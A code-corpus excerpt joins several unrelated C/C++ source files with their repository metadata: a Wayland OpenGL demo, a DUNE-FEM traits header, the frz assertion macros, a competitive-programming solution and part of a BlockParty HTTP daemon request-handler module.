GL_FALSE, 0, vertices); glEnableVertexAttribArray(0); glDrawArrays(GL_TRIANGLES, 0, 3); glDisableVertexAttribArray(0); } int main(int argc, char** argv) { std::unique_ptr<WaylandPlatform> waylandPlatform = WaylandPlatform::create(); int width = 250; int height = 250; waylandPlatform->createWindow(width, height, vertexShaderSource, fragmentShaderSource, redraw); // Get the uniform locations waylandPlatform->getGL()->mvpLoc = glGetUniformLocation(waylandPlatform->getGL()->program, "u_mvpMatrix"); waylandPlatform->run(); waylandPlatform->terminate(); return 0; }
31.351064
79
0.575161
joone
636218f89e7b529774742aa1706b236f87039c62
5,757
hh
C++
dune/fem/oseen/defaulttraits.hh
renemilk/DUNE-FEM-Oseen
2cc2a1a70f81469f13a2330be285960a13f78fdf
[ "BSD-2-Clause" ]
null
null
null
dune/fem/oseen/defaulttraits.hh
renemilk/DUNE-FEM-Oseen
2cc2a1a70f81469f13a2330be285960a13f78fdf
[ "BSD-2-Clause" ]
null
null
null
dune/fem/oseen/defaulttraits.hh
renemilk/DUNE-FEM-Oseen
2cc2a1a70f81469f13a2330be285960a13f78fdf
[ "BSD-2-Clause" ]
null
null
null
#ifndef DUNE_OSEEN_DEFAULTTRAITS_HH #define DUNE_OSEEN_DEFAULTTRAITS_HH #include <dune/fem/oseen/stab_coeff.hh> namespace Dune { template < class DiscreteModelImp > struct StokesTraits { //! discrete model type typedef DiscreteModelImp DiscreteModelType; //! volume quadrature type typedef typename DiscreteModelType::VolumeQuadratureType VolumeQuadratureType; //! face quadrature type typedef typename DiscreteModelType::FaceQuadratureType FaceQuadratureType; //! type of discrete function space wrapper typedef typename DiscreteModelType::DiscreteOseenFunctionSpaceWrapperType DiscreteOseenFunctionSpaceWrapperType; //! discrete function wrapper type typedef typename DiscreteModelType::DiscreteOseenFunctionWrapperType DiscreteOseenFunctionWrapperType; //! discrete function type for the velocity typedef typename DiscreteOseenFunctionWrapperType::DiscreteVelocityFunctionType DiscreteVelocityFunctionType; //! discrete function space type for the velocity typedef typename DiscreteVelocityFunctionType::DiscreteFunctionSpaceType DiscreteVelocityFunctionSpaceType; //! discrete function type for sigma typedef typename DiscreteModelType::DiscreteSigmaFunctionType DiscreteSigmaFunctionType; //! discrete function space type for sigma typedef typename DiscreteSigmaFunctionType::DiscreteFunctionSpaceType DiscreteSigmaFunctionSpaceType; //! discrete fucntion type for the pressure typedef typename DiscreteOseenFunctionWrapperType::DiscretePressureFunctionType DiscretePressureFunctionType; //! discrete function space type for the pressure typedef typename DiscretePressureFunctionType::DiscreteFunctionSpaceType DiscretePressureFunctionSpaceType; //! Coordinate type on the element typedef typename DiscreteVelocityFunctionSpaceType::DomainType ElementCoordinateType; //! Coordinate type on an intersection typedef typename FaceQuadratureType::LocalCoordinateType IntersectionCoordinateType; //! Vector type of the velocity's discrete function space's range typedef typename DiscreteVelocityFunctionSpaceType::RangeType VelocityRangeType; typedef typename DiscreteVelocityFunctionSpaceType::BaseFunctionSetType::JacobianRangeType VelocityJacobianRangeType; //! vector type of sigmas' discrete functions space's range typedef typename DiscreteSigmaFunctionSpaceType::RangeType SigmaRangeType; typedef typename DiscreteSigmaFunctionSpaceType::BaseFunctionSetType::JacobianRangeType SigmaJacobianRangeType; //! Vector type of the pressure's discrete function space's range typedef typename DiscretePressureFunctionSpaceType::RangeType PressureRangeType; typedef typename DiscretePressureFunctionSpaceType::BaseFunctionSetType::JacobianRangeType PressureJacobianRangeType; //! Type of GridPart typedef typename DiscreteVelocityFunctionSpaceType::GridPartType GridPartType; //! Intersection iterator of the gridpart typedef typename GridPartType::IntersectionIteratorType IntersectionIteratorType; //! local coordinate type on an intersection typedef typename FaceQuadratureType::LocalCoordinateType LocalIntersectionCoordinateType; //! entity iterator of the gridpart typedef typename GridPartType::template Codim< 0 >::IteratorType EntityIteratorType; //! type of the grid typedef typename GridPartType::GridType GridType; //! type of codim 0 entity typedef typename GridType::template Codim< 0 >::Entity EntityType; //! polynomial order for the discrete sigma function space static const int sigmaSpaceOrder = DiscreteModelType::sigmaSpaceOrder; //! polynomial order for the discrete velocity function space static const int velocitySpaceOrder = DiscreteModelType::velocitySpaceOrder; //! polynomial order for the discrete pressure function space static const int pressureSpaceOrder = DiscreteModelType::pressureSpaceOrder; //! the stab coeff. for sigma is a vector field, paramterized by the element's normal typedef StabilizationCoefficients::C12< VelocityRangeType > C12; }; }//end namespace Dune #endif // DEFAULTTRAITS_HH /** Copyright (c) 2012, Rene Milk * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * 1. Redistributions of source code must retain the above copyright notice, this * list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright notice, * this list of conditions and the following disclaimer in the documentation * and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * * The views and conclusions contained in the software and documentation are those * of the authors and should not be interpreted as representing official policies, * either expressed or implied, of the FreeBSD Project. **/
37.383117
92
0.800591
renemilk
636303201c283f7eb60f174f23a05bdd0e02ccb2
550
cpp
C++
include/hydro/engine/document/Query.cpp
hydraate/hydro
42037a8278dcfdca68fb5cceaf6988da861f0eff
[ "Apache-2.0" ]
null
null
null
include/hydro/engine/document/Query.cpp
hydraate/hydro
42037a8278dcfdca68fb5cceaf6988da861f0eff
[ "Apache-2.0" ]
null
null
null
include/hydro/engine/document/Query.cpp
hydraate/hydro
42037a8278dcfdca68fb5cceaf6988da861f0eff
[ "Apache-2.0" ]
null
null
null
// // __ __ __ // / / / /__ __ ____/ /_____ ____ // / /_/ // / / // __ // ___// __ \ // / __ // /_/ // /_/ // / / /_/ / // /_/ /_/ \__, / \__,_//_/ \____/ // /____/ // // The Hydro Programming Language // #include "Query.hpp" namespace hydro::engine { Query::Query(Entity *parent, QueryIdentity *identity) : Entity{ parent, identity } { } Query::~Query() { } } // namespace hydro::engine
21.153846
82
0.376364
hydraate
6363731b07ff9edbff2dc86c7a22351afb58a731
10,340
hh
C++
src/assert.hh
kwiberg/frz
8661247c70e89a671b2b412c8c4f4c3f329ef98d
[ "Apache-2.0" ]
null
null
null
src/assert.hh
kwiberg/frz
8661247c70e89a671b2b412c8c4f4c3f329ef98d
[ "Apache-2.0" ]
12
2021-02-24T22:48:56.000Z
2021-03-21T12:33:05.000Z
src/assert.hh
kwiberg/frz
8661247c70e89a671b2b412c8c4f4c3f329ef98d
[ "Apache-2.0" ]
null
null
null
/* Copyright 2021 Karl Wiberg Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ #ifndef FRZ_ASSERT_HH_ #define FRZ_ASSERT_HH_ /* This file defines three families of assertion macros. They behave differently in release mode (NDEBUG defined) and in debug mode (NDEBUG not defined). Release mode: FRZ_CHECK(p) evaluates `p` and terminates the process unless `p` is true. FRZ_ASSERT(p) does nothing. FRZ_ASSUME(p) may or may not evaluate `p`. The compiler is allowed to assume that `p` is true, and may use that when optimizing. Debug mode: FRZ_CHECK(p), FRZ_ASSERT(p), and FRZ_ASSUME(p) all evaluate `p` and terminate the process unless `p` is true. So, FRZ_CHECK(p) behaves the same in release and debug mode, always evaluates `p`, and always terminates if `p` is false. Use when a clean crash is necessary even in release builds. Since `p` is always evaluated, it may have visible side effects. FRZ_ASSERT(p) is a standard assert. Use it in the majority of cases. Since `p` is not evaluated in release mode, it should not have side effects. FRZ_ASSUME(p) is a standard assert, but additionally allows the compiler to assume that `p` is true in release mode. This may allow the compiler to optimize better. Use only with simple, side-effect free predicates. Each principal assertion macro has six companions. They are FRZ_ASSERT_EQ(a, b): asserts that a == b FRZ_ASSERT_NE(a, b): asserts that a != b FRZ_ASSERT_LT(a, b): asserts that a < b FRZ_ASSERT_LE(a, b): asserts that a <= b FRZ_ASSERT_GE(a, b): asserts that a >= b FRZ_ASSERT_GT(a, b): asserts that a > b and similar for FRZ_CHECK_* and FRZ_ASSUME_*. They are functionally equivalent, to calling the corresponding principal macro (e.g., FRZ_CHECK(x == 12) instead of FRZ_CHECK_EQ(x, 12)), but produce better error messages since they can print the values of `a` and `b`. */ #include <concepts> #include <cstdlib> #include <iostream> #include <limits> #include <utility> namespace frz { namespace frz_assert_impl { #ifdef NDEBUG inline constexpr bool kAssertActive = false; #else inline constexpr bool kAssertActive = true; #endif // TODO(github.com/kwiberg/frz/issues/5): Use std::source_location instead when // stable versions of GCC and/or clang support it. struct SourceLocation { const char* file; int line; friend std::ostream& operator<<(std::ostream& out, SourceLocation loc) { return out << loc.file << ":" << loc.line; } }; #define FRZ_IMPL_CURRENT_LOCATION() \ (::frz::frz_assert_impl::SourceLocation{.file = __FILE__, .line = __LINE__}) [[noreturn]] inline void AssertFail(SourceLocation loc, std::string_view expr) { std::cerr << "*** ASSERTION FAILURE at " << loc << ": " << expr << std::endl; std::abort(); } [[noreturn]] void AssertFail(SourceLocation loc, std::string_view op, std::string_view a_expr, std::string_view b_expr, const auto& a, const auto& b) { std::cerr << "*** ASSERTION FAILURE at " << loc << ": " << op << std::endl << " Left-hand side is " << a_expr << std::endl << " ==> " << a << std::endl << " Right-hand side is " << b_expr << std::endl << " ==> " << b << std::endl; std::abort(); } template <std::integral T> T CheckCast(SourceLocation loc, std::string_view target_type_name, std::integral auto x) { if (std::cmp_less(x, std::numeric_limits<T>::min()) || std::cmp_greater(x, std::numeric_limits<T>::max())) { std::cerr << "*** ASSERTION FAILURE at " << loc << ": out of range for type " << target_type_name << std::endl << " Input value is " << x << std::endl; std::abort(); } else { return static_cast<T>(x); } } #define FRZ_IMPL_COMPARATOR(name, op, int_fun) \ struct name { \ static constexpr bool Good(const auto& a, const auto& b) { \ if constexpr (std::is_integral_v< \ std::remove_cvref_t<decltype(a)>> && \ std::is_integral_v< \ std::remove_cvref_t<decltype(b)>>) { \ return int_fun(a, b); \ } else { \ return a op b; \ } \ } \ static constexpr std::string_view kName = #op; \ } FRZ_IMPL_COMPARATOR(Eq, ==, std::cmp_equal); FRZ_IMPL_COMPARATOR(Ne, !=, std::cmp_not_equal); FRZ_IMPL_COMPARATOR(Lt, <, std::cmp_less); FRZ_IMPL_COMPARATOR(Le, <=, std::cmp_less_equal); FRZ_IMPL_COMPARATOR(Ge, >=, std::cmp_greater_equal); FRZ_IMPL_COMPARATOR(Gt, >, std::cmp_greater); } // namespace frz_assert_impl #ifdef __GNUC__ #define FRZ_IMPL_ASSUME(p) \ do { \ if (!(p)) { \ __builtin_unreachable(); \ } \ } while (0) #else #define FRZ_IMPL_ASSUME(p) \ do { \ } while (0) #endif #define FRZ_CHECK(p) \ do { \ if (!(p)) { \ ::frz::frz_assert_impl::AssertFail(FRZ_IMPL_CURRENT_LOCATION(), \ #p); \ } \ } while (0) #define FRZ_IMPL_CHECK_OP(op, a, b) \ do { \ if (!op::Good(a, b)) { \ ::frz::frz_assert_impl::AssertFail(FRZ_IMPL_CURRENT_LOCATION(), \ op::kName, #a, #b, a, b); \ } \ } while (0) #define FRZ_CHECK_EQ(a, b) FRZ_IMPL_CHECK_OP(::frz::frz_assert_impl::Eq, a, b) #define FRZ_CHECK_NE(a, b) FRZ_IMPL_CHECK_OP(::frz::frz_assert_impl::Ne, a, b) #define FRZ_CHECK_LT(a, b) FRZ_IMPL_CHECK_OP(::frz::frz_assert_impl::Lt, a, b) #define FRZ_CHECK_LE(a, b) FRZ_IMPL_CHECK_OP(::frz::frz_assert_impl::Le, a, b) #define FRZ_CHECK_GE(a, b) FRZ_IMPL_CHECK_OP(::frz::frz_assert_impl::Ge, a, b) #define FRZ_CHECK_GT(a, b) FRZ_IMPL_CHECK_OP(::frz::frz_assert_impl::Gt, a, b) #define FRZ_CHECK_CAST(T, x) \ (::frz::frz_assert_impl::CheckCast<T>(FRZ_IMPL_CURRENT_LOCATION(), #T, (x))) #define FRZ_ASSERT(p) \ do { \ if constexpr (::frz::frz_assert_impl::kAssertActive) { \ FRZ_CHECK(p); \ } \ } while (0) #define FRZ_IMPL_ASSERT_OP(op, a, b) \ do { \ if constexpr (::frz::frz_assert_impl::kAssertActive) { \ FRZ_IMPL_CHECK_OP(op, a, b); \ } \ } while (0) #define FRZ_ASSERT_EQ(a, b) FRZ_IMPL_ASSERT_OP(::frz::frz_assert_impl::Eq, a, b) #define FRZ_ASSERT_NE(a, b) FRZ_IMPL_ASSERT_OP(::frz::frz_assert_impl::Ne, a, b) #define FRZ_ASSERT_LT(a, b) FRZ_IMPL_ASSERT_OP(::frz::frz_assert_impl::Lt, a, b) #define FRZ_ASSERT_LE(a, b) FRZ_IMPL_ASSERT_OP(::frz::frz_assert_impl::Le, a, b) #define FRZ_ASSERT_GE(a, b) FRZ_IMPL_ASSERT_OP(::frz::frz_assert_impl::Ge, a, b) #define FRZ_ASSERT_GT(a, b) FRZ_IMPL_ASSERT_OP(::frz::frz_assert_impl::Gt, a, b) #define FRZ_ASSERT_CAST(T, x) \ (::frz::frz_assert_impl::kAssertActive ? FRZ_CHECK_CAST(T, (x)) \ : static_cast<T>(x)) #define FRZ_ASSUME(p) \ do { \ if constexpr (::frz::frz_assert_impl::kAssertActive) { \ FRZ_CHECK(p); \ } else { \ FRZ_IMPL_ASSUME(p); \ } \ } while (0) #define FRZ_IMPL_ASSUME_OP(op, a, b) \ do { \ if constexpr (::frz::frz_assert_impl::kAssertActive) { \ FRZ_IMPL_CHECK_OP(op, a, b); \ } else { \ FRZ_IMPL_ASSUME(op::Good(a, b)); \ } \ } while (0) #define FRZ_ASSUME_EQ(a, b) FRZ_IMPL_ASSUME_OP(::frz::frz_assert_impl::Eq, a, b) #define FRZ_ASSUME_NE(a, b) FRZ_IMPL_ASSUME_OP(::frz::frz_assert_impl::Ne, a, b) #define FRZ_ASSUME_LT(a, b) FRZ_IMPL_ASSUME_OP(::frz::frz_assert_impl::Lt, a, b) #define FRZ_ASSUME_LE(a, b) FRZ_IMPL_ASSUME_OP(::frz::frz_assert_impl::Le, a, b) #define FRZ_ASSUME_GE(a, b) FRZ_IMPL_ASSUME_OP(::frz::frz_assert_impl::Ge, a, b) #define FRZ_ASSUME_GT(a, b) FRZ_IMPL_ASSUME_OP(::frz::frz_assert_impl::Gt, a, b) } // namespace frz #endif // FRZ_ASSERT_HH_
43.083333
80
0.518956
kwiberg
6363ce66c2e655f7fc2f8bfc7cbfe75bfc6823cc
505
cpp
C++
Baekjoon/11586.cpp
Twinparadox/AlgorithmProblem
0190d17555306600cfd439ad5d02a77e663c9a4e
[ "MIT" ]
null
null
null
Baekjoon/11586.cpp
Twinparadox/AlgorithmProblem
0190d17555306600cfd439ad5d02a77e663c9a4e
[ "MIT" ]
null
null
null
Baekjoon/11586.cpp
Twinparadox/AlgorithmProblem
0190d17555306600cfd439ad5d02a77e663c9a4e
[ "MIT" ]
null
null
null
#include <iostream> #include <string> using namespace std; int main(void) { int len, dir; string* arr; cin >> len; arr = new string[len]; for (int i = 0; i < len; i++) cin >> arr[i]; cin >> dir; if (dir == 1) { for (int i = 0; i < len; i++) cout << arr[i] << '\n'; } else if (dir == 2) { for (int i = 0; i < len; i++) { for (int j = len - 1; j >= 0; j--) cout << arr[i][j]; cout << '\n'; } } else { for (int i = len - 1; i >= 0; i--) cout << arr[i] << '\n'; } }
15.30303
37
0.449505
Twinparadox
6365023689297229dd041f99da138214bda756b7
44,444
cc
C++
library/src/network/httpd/BP-HTTPdRequestHandlers.cc
jason-medeiros/blockparty
4b1aabe66b13ceac70d6e42feb796909f067df9a
[ "MIT" ]
1
2018-05-31T11:51:43.000Z
2018-05-31T11:51:43.000Z
library/src/network/httpd/BP-HTTPdRequestHandlers.cc
jason-medeiros/blockparty
4b1aabe66b13ceac70d6e42feb796909f067df9a
[ "MIT" ]
null
null
null
library/src/network/httpd/BP-HTTPdRequestHandlers.cc
jason-medeiros/blockparty
4b1aabe66b13ceac70d6e42feb796909f067df9a
[ "MIT" ]
null
null
null
/* * BP-HTTPdRequestHandlers.cc * * Created on: Jul 17, 2015 * Author: root */ #include "../../../include/BP-Main.h" // %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% // %%% Request Handlers %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% // %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% // Request handlers are stored within the httpd session hash table and // are used to process individual routes to various functions. For example // to map a handler to a request you could do something like: // // BP_HTTPdRequestHandl(httpd, "/new/", your_handler_function_here); // // Every time the /new/ path is identified in a request, the your_handler_function_here // function will be executed. // // This adds a request handler to the httpd. BP_ERROR_T BP_HTTPdRequestHandlerAdd ( P_BP_HTTPD_SESSION httpd, char * handler_path, BP_HTTPdRequestHandlerFptr handler, P_BP_HTTPD_REQUEST_HANDLER_SETUP_CONFIGS setup_configs, void * external_handler_copy_parameter, size_t external_handler_copy_parameter_size_n, BP_HTTPdLoginFormCallback login_form_cb ) { // ensure all parameters are non-null. if(!httpd) return ERR_FAILURE; if(!handler_path) return ERR_FAILURE; if(!handler) return ERR_FAILURE; if(!setup_configs) return ERR_FAILURE; // Ensure that if they passed in a tmp directory, it's reasonable. if(setup_configs->posted_data_tmp_directory_literal_path) { // ensure the string is a reasonable printable string if(!BP_StringIsReasonablePrintableString(setup_configs->posted_data_tmp_directory_literal_path, bpstrlen(setup_configs->posted_data_tmp_directory_literal_path), BP_FALSE, BP_FALSE)) return ERR_FAILURE; } // declare dynamic table path char * table_path[10] = {0}; // declare the lookup pointer P_BP_HASH_TABLE_KEYED_ENTRY tmp_lookup = NULL; // %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% // %%% Check if User Exists %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% // %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% // enter critical section before making changes to the httpd hash // table registry. BP_HASH_TABLE_ENTER_CRITICAL_SECTION(httpd->system_hreg); // attempt to lookup user by username only (cannot have duplicate usernames) P_BP_HTTPD_REQUEST_HANDLER request_handler = BP_HTTPdRequestHandlerLookup ( httpd, handler_path ); // if the user already exists, exit immediately if(request_handler) { BP_HASH_TABLE_LEAVE_CRITICAL_SECTION_AND_RETURN_FROM_FUNC(httpd->system_hreg, ERR_FAILURE); } // %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% // %%% Attempt to Create New User Structure %%%%%%%%%%%%%%%%%%%%%% // %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% // set the initial path table_path[0] = "request_handlers"; table_path[1] = NULL; // attempt to add data to the table BP_ERROR_T err_status = BP_HashRegAddDataToTableByPath ( httpd->system_hreg, table_path, handler_path, BP_HASH_TABLE_KEYED_ENTRY_TYPE_BINARY_BLOB, NULL, sizeof(BP_HTTPD_REQUEST_HANDLER) ); // attempt to lookup the user after adding request_handler = BP_HTTPdRequestHandlerLookup(httpd, handler_path); if(!request_handler) BP_HASH_TABLE_LEAVE_CRITICAL_SECTION_AND_RETURN_FROM_FUNC(httpd->system_hreg, ERR_FAILURE); // set the request handler (pointer 1 to 1 copy) request_handler->handler = handler; // set handler path request_handler->handler_path = bpstrdup(handler_path); // set the supported http methods request_handler->supported_http_methods = setup_configs->supported_http_methods; // set maximum data size request_handler->posted_max_data_size_before_autofail = setup_configs->posted_max_data_size_before_autofail; // set read size request_handler->posted_data_chunk_read_size = setup_configs->posted_data_chunk_read_size; // tmpfile on multipart form data request_handler->use_tmpfile_for_multipart_form_data = setup_configs->use_tmpfile_for_multipart_form_data; // tmpfile on octet stream data request_handler->use_tmpfile_for_octet_stream = setup_configs->use_tmpfile_for_octet_stream; // set max key and val lengths for retrieving HTTP GET (hard limiter) request_handler->http_get_max_key_len = setup_configs->http_get_max_key_len; request_handler->http_get_max_val_len = setup_configs->http_get_max_val_len; // set cookie max lengths request_handler->http_cookie_max_key_len = setup_configs->http_cookie_max_key_len; request_handler->http_cookie_max_val_len = setup_configs->http_cookie_max_val_len; // set header max lengths request_handler->http_header_max_count = setup_configs->http_header_max_count; request_handler->http_header_max_key_len = setup_configs->http_header_max_key_len; request_handler->http_header_max_val_len = setup_configs->http_header_max_val_len; // set temp dir (value is checked on entry) if(setup_configs->posted_data_tmp_directory_literal_path) request_handler->posted_data_tmp_directory_literal_path = bpstrdup(setup_configs->posted_data_tmp_directory_literal_path); // %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% // %%% Set Login Callback %%%%%%%%%%%%%%%%%%%%%%%%%%%%% // %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% // set login callback if desired if(login_form_cb) request_handler->login_callback = login_form_cb; // set default if there is no other login callback if(!request_handler->login_callback) request_handler->login_callback = BP_HTTPdDefaultLoginFormCallback; // %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% // %%% Set External Data if Necessary %%%%%%%%%%%%%%%% // %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% // ensure we have handler if(external_handler_copy_parameter && external_handler_copy_parameter_size_n) { // allocate memory via hash registry request_handler->external_handler_parameter = ht_calloc(httpd->system_hreg, external_handler_copy_parameter_size_n+1, 1); // copy in parameter memcpy(request_handler->external_handler_parameter, external_handler_copy_parameter, external_handler_copy_parameter_size_n); // set the external handler parameter size request_handler->external_handler_parameter_size_n = external_handler_copy_parameter_size_n; } // %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% // %%% Leave Critical Section and Exit %%%%%%%%%%%%%%% // %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% // leave critical section BP_HASH_TABLE_LEAVE_CRITICAL_SECTION(httpd->system_hreg); // return indicating success return ERR_SUCCESS; } // Attempts to lookup request handler within the table. P_BP_HTTPD_REQUEST_HANDLER BP_HTTPdRequestHandlerLookup ( P_BP_HTTPD_SESSION httpd, char * handler ) { // ensure we have a session structure and a registry to work with if(!httpd) return NULL; if(!httpd->system_hreg) return NULL; // declare dynamic table path char * table_path[10] = {0}; // declare the lookup pointer P_BP_HASH_TABLE_KEYED_ENTRY tmp_lookup = NULL; // %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% // %%% Run Sanity Checks %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% // %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% // Ensure we have a handler if(!handler) return NULL; // check sanity on non-optional values if(BP_StringIsReasonablePrintableString(handler, bpstrlen(handler), BP_FALSE, BP_FALSE) != BP_TRUE) return NULL; // %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% // %%% Check if User Exists %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% // %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% // enter critical section before making changes to the httpd hash // table registry. BP_HASH_TABLE_ENTER_CRITICAL_SECTION(httpd->system_hreg); // declare the lookup entry P_BP_HASH_TABLE_KEYED_ENTRY lookup_entry = NULL; // set the table path for lookup table_path[0] = "request_handlers"; table_path[1] = handler; table_path[2] = NULL; // attempt to get entry lookup_entry = BP_HashRegLookupTableEntryByPath(httpd->system_hreg,table_path); // ensure we can lookup the new entry if(!lookup_entry) { BP_HASH_TABLE_LEAVE_CRITICAL_SECTION_AND_RETURN_FROM_FUNC(httpd->system_hreg, NULL); } // set request handler P_BP_HTTPD_REQUEST_HANDLER request_handler = (P_BP_HTTPD_REQUEST_HANDLER) lookup_entry->data; // %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% // %%% Unlock and Exit %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% // %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% // leave critical section before exiting BP_HASH_TABLE_LEAVE_CRITICAL_SECTION(httpd->system_hreg); // return null if the record cannot be found return request_handler; } // %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% // %%% Request Handler Auto Addition Routines %%%%%%%%%%%%%%%%% // %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% // Add gif handlers from a provided directory. BP_ERROR_T BP_HTTPdAddGIFHandlersFromFilesystemDir ( P_BP_HTTPD_SESSION httpd, char * load_dir, BP_BOOL recurse, BP_BOOL require_valid_user ) { // ensure we have a http daemon if(!httpd) return ERR_FAILURE; // ensure we have a load directory if(!load_dir) return ERR_FAILURE; if(!BP_StringIsReasonablePrintableString(load_dir, bpstrlen(load_dir), BP_FALSE, BP_FALSE)) return ERR_FAILURE; // %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% // %%% Attempt to open/crawl Filesystem Registry %%% // %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% // Open a handle to the registry P_BP_FSREG fs_reg = BP_FSRegOpen(load_dir, BP_TRUE, 100); if(!fs_reg) return ERR_FAILURE; // enter the critical section BP_HASH_TABLE_ENTER_CRITICAL_SECTION(fs_reg->hreg); // set file policy here BP_FSREG_POLICY_FLAG_SET file_policy_flag_set[] = { // {BP_FS_FILE_POLICY_FLAG_IGNORE_ALL, BP_TRUE}, {BP_FS_FILE_POLICY_FLAG_ONLY, BP_TRUE}, // {BP_FS_FILE_POLICY_FLAG_NOT_OWNED_BY_CURRENT_USER, BP_TRUE}, // {BP_FS_FILE_POLICY_FLAG_OWNER_HAS_HIGHER_UID_THAN_CURRENT, BP_TRUE}, // {BP_FS_FILE_POLICY_FLAG_OWNER_HAS_LOWER_UID_THAN_CURRENT, BP_TRUE}, // {BP_FS_FILE_POLICY_FLAG_OWNED_BY_CURRENT_USER, BP_TRUE}, {BP_FS_FILE_POLICY_FLAG_READABLE_BY_CURRENT_USER, BP_TRUE}, // {BP_FS_FILE_POLICY_FLAG_WRITABLE_BY_CURRENT_USER, BP_TRUE}, // {BP_FS_FILE_POLICY_FLAG_EXECUTABLE_BY_CURRENT_USER, BP_TRUE}, // {BP_FS_FILE_POLICY_FLAG_SUID, BP_TRUE}, // {BP_FS_FILE_POLICY_FLAG_SGID, BP_TRUE}, BP_FSREG_FLAG_SET_TERMINATOR }; // attempt to set flags BP_FSRegPolicySetFlags ( fs_reg, BP_FSREG_POLICY_TYPE_FILE, (P_BP_FSREG_POLICY_FLAG_SET) &file_policy_flag_set ); // add filename regexp match BP_FSRegAddPregexPolicy(fs_reg, BP_FSREG_PREG_POLICY_TYPE_FNAME_MATCH, ".*[\\.][gG][iI][fF]$"); // Crawl the filesystem for all files and fill out registry. BP_FSRegCrawl(fs_reg); // %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% // %%% Process Crawl Returns %%%%%%%%%%%%%%%%%%%%%%% // %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% // Retrieve all files as a null ptr terminated char ** of reasonable/printable strings. char ** files = BP_FSRegRetrieveEntryFullPathsAsBPCallocedNullTerminatedPointerArray(fs_reg, NULL); if(!files) { // leave critical section BP_HASH_TABLE_LEAVE_CRITICAL_SECTION_AND_RETURN_FROM_FUNC(fs_reg->hreg, ERR_FAILURE;) // destroy the filesystem registry BP_DestroyHashTableRegistry(fs_reg->hreg); return ERR_FAILURE; } // supported methods BP_FLAGS_T supported_methods = 0; // set flags BP_SET_FLAG(supported_methods, BP_HTTPD_METHOD_GET); // enable post if this requires a valid user if( require_valid_user == BP_TRUE) { BP_SET_FLAG(supported_methods, BP_HTTPD_METHOD_POST); } // setup configs BP_HTTPD_REQUEST_HANDLER_SETUP_CONFIGS js_path_setup_configs; // set configurations js_path_setup_configs.supported_http_methods = supported_methods; 